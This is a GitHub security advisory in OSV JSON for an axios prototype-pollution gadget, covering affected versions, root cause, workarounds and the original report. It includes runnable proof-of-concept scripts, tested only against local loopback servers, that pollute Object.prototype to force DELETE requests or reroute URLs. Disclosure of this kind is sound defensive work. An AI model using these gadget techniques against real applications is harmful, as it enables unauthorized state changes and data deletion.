{"id":"GHSA-9fr6-4gfg-395g","summary":"Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method","details":"## Summary\n\nAxios default-instance requests that omit an explicit method can read an inherited `method` value from `Object.prototype`. If another vulnerability in the same process pollutes `Object.prototype.method`, calls such as `axios.request({ url })` and `axios({ url })` can send a state-changing HTTP method instead of the expected default `GET`.\n\nAxios does not create the prototype pollution source. This is a read-side gadget in axios request dispatch.\n\n## Impact\n\nIn an affected application with a separate prototype-pollution primitive, an attacker can change axios default-instance requests that omit `method` from `GET` to methods such as `DELETE`, `POST`, `PUT`, or `PATCH`. The practical impact depends on the target endpoint and can include unintended writes, deletion, or other state changes.\n\nMethod aliases such as `axios.get(url)` and requests with an explicit own `method` are not affected by the confirmed method path.\n\n## Affected Functionality\n\nAffected:\n\n- Default axios instance calls: `axios.request({ url })`.\n- Callable shorthand: `axios({ url })`.\n- Requests where no own `config.method` is provided.\n\nNot affected in the confirmed method PoC:\n\n- `axios.get(url)` and other method aliases.\n- `axios.request({ url, method: 'GET' })`.\n- `axios.create().request({ url })` when the created instance defaults are produced by current `mergeConfig()` and do not inherit from `Object.prototype`.\n\n## Technical Details\n\n`lib/core/Axios.js` sets the request method with:\n\n```js\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\n`mergeConfig()` now returns a null-prototype request config, so `config.method` is safe from `Object.prototype`. However, the default axios instance stores the module defaults object as `this.defaults`, and that defaults object is a normal object. If `Object.prototype.method` exists, `this.defaults.method` resolves to the polluted inherited value.\n\nLocal verification on axios `1.18.1` showed a default-instance `axios.request({ url })` request reaching a loopback server as `DELETE` after `Object.prototype.method = 'DELETE'`.\n\n## Proof of Concept of Attack\n\nConstrained local demonstration:\n\n```js\nObject.prototype.method = 'DELETE';\ntry {\n  await axios.request({ url: 'http://127.0.0.1:\u003cport\u003e/resource' });\n} finally {\n  delete Object.prototype.method;\n}\n```\n\nExpected safe behavior is a `GET` request. Current affected behavior sends `DELETE` on the default instance when no method is provided.\n\n## Workarounds\n\nUse explicit method aliases such as `axios.get()` or set an own `method` on request configs. Avoid default-instance shorthand for requests in processes where prototype pollution is suspected or possible.\n\n\u003cdetails\u003e\n  \u003csummary\u003e\u003ch3\u003eOriginal report\u003c/h3\u003e\u003c/summary\u003e\n  \n### Summary\n\nAxios `1.17.0` contains a read-side prototype-pollution gadget in the default Axios instance. If another vulnerability in the same Node.js process pollutes `Object.prototype.method`, default-instance calls such as `axios.request({ url })` and `axios({ url })` can be forced to use an attacker-controlled HTTP method, such as `DELETE`, instead of the expected default `GET`.\n\nAxios does not create the prototype pollution by itself. The issue is that Axios reads fallback values from `this.defaults` without an own-property guard, allowing inherited values from `Object.prototype` to influence request behavior.\n\nThis should be treated as a prototype-pollution gadget, not as a standalone prototype-pollution source. In other words, Axios is not the component that lets the attacker write to `Object.prototype`; Axios is the component that becomes dangerous after `Object.prototype` has already been polluted by another bug in the same process.\n\n### Details\n\nThe vulnerable fallback read is in `lib/core/Axios.js`:\n\n```js\n// Set config.allowAbsoluteUrls\nif (config.allowAbsoluteUrls !== undefined) {\n  // do nothing\n} else if (this.defaults.allowAbsoluteUrls !== undefined) {\n  config.allowAbsoluteUrls = this.defaults.allowAbsoluteUrls;\n} else {\n  config.allowAbsoluteUrls = true;\n}\n\n// Set config.method\nconfig.method = (config.method || this.defaults.method || 'get').toLowerCase();\n```\n\nThe merged request `config` is created as a null-prototype object in `lib/core/mergeConfig.js`:\n\n```js\nconst config = Object.create(null);\n```\n\nTherefore, when the caller does not provide `config.method`, the fallback becomes:\n\n```js\nthis.defaults.method\n```\n\nThe default Axios instance uses the module defaults object. In the tested version, that defaults object is affected by inherited properties from `Object.prototype`. If `Object.prototype.method` is polluted, `this.defaults.method` resolves to that inherited value and Axios uses it as the request method.\n\nThe same unsafe inherited-property pattern also affects `this.defaults.allowAbsoluteUrls`, which can change how absolute URLs are combined with `baseURL`.\n\n### Proof of Concept\n\n#### Access and Attack Conditions\n\nNo admin access is required for Axios itself. This is a library-level gadget.\n\nThe attacker must have an existing way to pollute `Object.prototype` in the same Node.js process, for example through a separate prototype-pollution vulnerability in another dependency or application input path. Axios is the gadget that turns that pollution into dangerous HTTP request behavior.\n\nRequired condition:\n\n```text\nSome other bug or unsafe merge path in the application must allow Object.prototype pollution.\n```\n\nWhat Axios contributes:\n\n```text\nAxios reads inherited Object.prototype.method through this.defaults.method and uses it as the HTTP method fallback.\n```\n\nWhat Axios does not do:\n\n```text\nAxios does not create Object.prototype pollution by itself.\n```\n\nAffected usage:\n\n```js\naxios.request({ url });\naxios({ url });\n```\n\nNot affected in the confirmed PoC:\n\n```js\naxios.get(url);\naxios.request({ url, method: \"GET\" });\naxios.create().request({ url });\n```\n\n#### Reproduction Steps\n\n1. Create a clean test directory and install Axios `1.17.0`:\n\n```powershell\nmkdir axios-validation\ncd axios-validation\nnpm init -y\nnpm install axios@1.17.0 --no-audit --no-fund\n```\n\n2. Save the method override PoC below as:\n\n```text\nvalidate-prototype-method-gadget.mjs\n```\n\n3. Run the PoC:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\n4. Confirm that the output shows:\n\n```text\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\n5. This proves that after `Object.prototype.method = \"DELETE\"`, default-instance calls that omit an explicit method are sent as `DELETE`.\n\n#### What the Method PoC Script Does\n\nThe PoC starts a temporary local HTTP server for each Axios call and records the HTTP method received by that server. It then simulates an already-existing prototype-pollution condition by setting:\n\n```js\nObject.prototype.method = \"DELETE\";\n```\n\nWhile that pollution is active, the script sends five Axios requests:\n\n```js\naxios.request({ url });                 // expected vulnerable path\naxios({ url });                         // expected vulnerable shorthand path\naxios.get(url);                         // expected safe alias path\naxios.request({ url, method: \"GET\" });  // expected safe explicit-method path\naxios.create().request({ url });        // expected safe isolated-instance path\n```\n\nThe script then deletes the polluted property:\n\n```js\ndelete Object.prototype.method;\n```\n\nFinally, it prints the method observed by the local server for each request. The vulnerable behavior is confirmed when the default Axios instance sends `DELETE` for `axios.request({ url })` and `axios({ url })`, while the safe comparison paths still send `GET`.\n\n#### Method Override PoC\n\nCreate `validate-prototype-method-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runRequest(label, requestFn) {\n  const hits = [];\n  const server = http.createServer((req, res) =\u003e {\n    hits.push({\n      method: req.method,\n      url: req.url,\n    });\n    res.writeHead(200, { \"content-type\": \"application/json\" });\n    res.end(JSON.stringify({ ok: true }));\n  });\n\n  const port = await listen(server);\n  const url = `http://127.0.0.1:${port}/${label}`;\n\n  let status = \"completed\";\n  let error = \"\";\n  try {\n    await requestFn(url);\n  } catch (err) {\n    status = \"error\";\n    error = err?.message || String(err);\n  }\n\n  server.close();\n  return { label, status, error, hits };\n}\n\nconst results = [];\n\nObject.prototype.method = \"DELETE\";\ntry {\n  results.push(await runRequest(\"default-request-no-method\", (url) =\u003e axios.request({ url })));\n  results.push(await runRequest(\"default-shorthand-no-method\", (url) =\u003e axios({ url })));\n  results.push(await runRequest(\"default-get-alias\", (url) =\u003e axios.get(url)));\n  results.push(await runRequest(\"default-request-explicit-get\", (url) =\u003e axios.request({ url, method: \"GET\" })));\n\n  const instance = axios.create();\n  results.push(await runRequest(\"created-instance-request-no-method\", (url) =\u003e instance.request({ url })));\n} finally {\n  delete Object.prototype.method;\n}\n\nconst defaultRequestMethod = results.find((r) =\u003e r.label === \"default-request-no-method\")?.hits[0]?.method || \"\";\nconst defaultShorthandMethod = results.find((r) =\u003e r.label === \"default-shorthand-no-method\")?.hits[0]?.method || \"\";\nconst getAliasMethod = results.find((r) =\u003e r.label === \"default-get-alias\")?.hits[0]?.method || \"\";\nconst explicitGetMethod = results.find((r) =\u003e r.label === \"default-request-explicit-get\")?.hits[0]?.method || \"\";\nconst createdInstanceMethod = results.find((r) =\u003e r.label === \"created-instance-request-no-method\")?.hits[0]?.method || \"\";\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\nconsole.log(`defaultRequestMethod=${defaultRequestMethod}`);\nconsole.log(`defaultShorthandMethod=${defaultShorthandMethod}`);\nconsole.log(`getAliasMethod=${getAliasMethod}`);\nconsole.log(`explicitGetMethod=${explicitGetMethod}`);\nconsole.log(`createdInstanceMethod=${createdInstanceMethod}`);\n\nconst confirmed =\n  defaultRequestMethod === \"DELETE\" &&\n  defaultShorthandMethod === \"DELETE\" &&\n  getAliasMethod === \"GET\" &&\n  explicitGetMethod === \"GET\" &&\n  createdInstanceMethod === \"GET\";\n\nconsole.log(confirmed ? \"RESULT: CONFIRMED\" : \"RESULT: NOT CONFIRMED\");\nprocess.exitCode = confirmed ? 0 : 1;\n```\n\nRun:\n\n```powershell\nnode validate-prototype-method-gadget.mjs\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\ndefaultRequestMethod=DELETE\ndefaultShorthandMethod=DELETE\ngetAliasMethod=GET\nexplicitGetMethod=GET\ncreatedInstanceMethod=GET\nRESULT: CONFIRMED\n```\n\nThe local server received:\n\n```text\naxios.request({ url })              -\u003e DELETE\naxios({ url })                      -\u003e DELETE\naxios.get(url)                      -\u003e GET\naxios.request({ url, method:\"GET\" }) -\u003e GET\naxios.create().request({ url })     -\u003e GET\n```\n\nThis confirms that inherited `Object.prototype.method` controls the default method for vulnerable default-instance request paths.\n\n#### Supporting `allowAbsoluteUrls` Gadget Evidence\n\nThe same inherited-property issue affects `allowAbsoluteUrls`.\n\nCreate `validate-prototype-allowabsoluteurls-gadget.mjs`:\n\n```js\nimport http from \"node:http\";\nimport axios from \"axios\";\n\nasync function listen(server) {\n  await new Promise((resolve) =\u003e server.listen(0, \"127.0.0.1\", resolve));\n  return server.address().port;\n}\n\nasync function runCase(label, requestFn) {\n  const baseHits = [];\n  const absoluteHits = [];\n\n  const baseServer = http.createServer((req, res) =\u003e {\n    baseHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"base\");\n  });\n\n  const absoluteServer = http.createServer((req, res) =\u003e {\n    absoluteHits.push({ method: req.method, url: req.url, host: req.headers.host || \"\" });\n    res.end(\"absolute\");\n  });\n\n  const basePort = await listen(baseServer);\n  const absolutePort = await listen(absoluteServer);\n\n  try {\n    await requestFn({\n      baseURL: `http://127.0.0.1:${basePort}/api`,\n      url: `http://127.0.0.1:${absolutePort}/absolute-path`,\n    });\n  } catch {}\n\n  baseServer.close();\n  absoluteServer.close();\n\n  return { label, baseHits, absoluteHits };\n}\n\nconst results = [];\n\nresults.push(await runCase(\"baseline-no-pollution\", (config) =\u003e axios.request(config)));\n\nObject.prototype.allowAbsoluteUrls = false;\ntry {\n  results.push(await runCase(\"polluted-default-request\", (config) =\u003e axios.request(config)));\n  const instance = axios.create();\n  results.push(await runCase(\"polluted-created-instance\", (config) =\u003e instance.request(config)));\n} finally {\n  delete Object.prototype.allowAbsoluteUrls;\n}\n\nconsole.log(`axiosVersion=${axios.VERSION}`);\nconsole.log(`results=${JSON.stringify(results)}`);\n```\n\nObserved result:\n\n```text\naxiosVersion=1.17.0\nbaselineUsedAbsolute=true\npollutedDefaultUsedBase=true\npollutedInstanceUsedAbsolute=true\nRESULT: CONFIRMED\n```\n\nWithout pollution, Axios sends the request to the absolute URL. After `Object.prototype.allowAbsoluteUrls = false`, the default Axios instance combines the absolute URL with `baseURL` and sends the request to the base server instead. An instance created with `axios.create()` remains unaffected.\n\n### Impact\n\nThis is a prototype-pollution gadget. It becomes exploitable when an application has any separate prototype-pollution primitive that allows an attacker to set properties on `Object.prototype` in the same Node.js process.\n\nIf such pollution is possible, an attacker can influence Axios default-instance requests that omit an explicit method:\n\n- `axios.request({ url })`\n- `axios({ url })`\n\nThis can turn an expected safe default `GET` request into a state-changing method such as:\n\n- `DELETE`\n- `POST`\n- `PUT`\n- `PATCH`\n\nPotential impact includes unauthorized state-changing requests, deletion of resources, unintended writes, data corruption, or denial of service when the target endpoint treats the HTTP method as security-relevant.\n\nThe issue does not require admin access to Axios itself, but it does require an existing prototype-pollution path in the application. Applications that always use explicit methods, method aliases such as `axios.get()`, or isolated instances created through `axios.create()` are not affected by the confirmed method-override path.\n\u003c/details\u003e\n\n---","aliases":["CVE-2026-101902"],"modified":"2026-09-30T15:30:03.718390401Z","published":"2026-09-30T15:12:49Z","database_specific":{"cwe_ids":["CWE-1321"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-09-30T15:12:49Z","nvd_published_at":"2026-09-28T18:17:18Z"},"references":[{"type":"WEB","url":"https://github.com/axios/axios/security/advisories/GHSA-9fr6-4gfg-395g"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101902"},{"type":"WEB","url":"https://github.com/axios/axios/pull/11141"},{"type":"WEB","url":"https://github.com/axios/axios/commit/d19040bda7a8be2f82c3c6e1a5bc03917daee39a"},{"type":"PACKAGE","url":"https://github.com/axios/axios"},{"type":"WEB","url":"https://github.com/axios/axios/releases/tag/v0.34.0"},{"type":"WEB","url":"https://github.com/axios/axios/releases/tag/v1.20.0"}],"affected":[{"package":{"name":"axios","ecosystem":"npm","purl":"pkg:npm/axios"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.27.2"},{"fixed":"0.34.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-9fr6-4gfg-395g/GHSA-9fr6-4gfg-395g.json"}},{"package":{"name":"axios","ecosystem":"npm","purl":"pkg:npm/axios"},"ranges":[{"type":"SEMVER","events":[{"introduced":"1.0.0"},{"fixed":"1.20.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/09/GHSA-9fr6-4gfg-395g/GHSA-9fr6-4gfg-395g.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:H/SA:N"}]}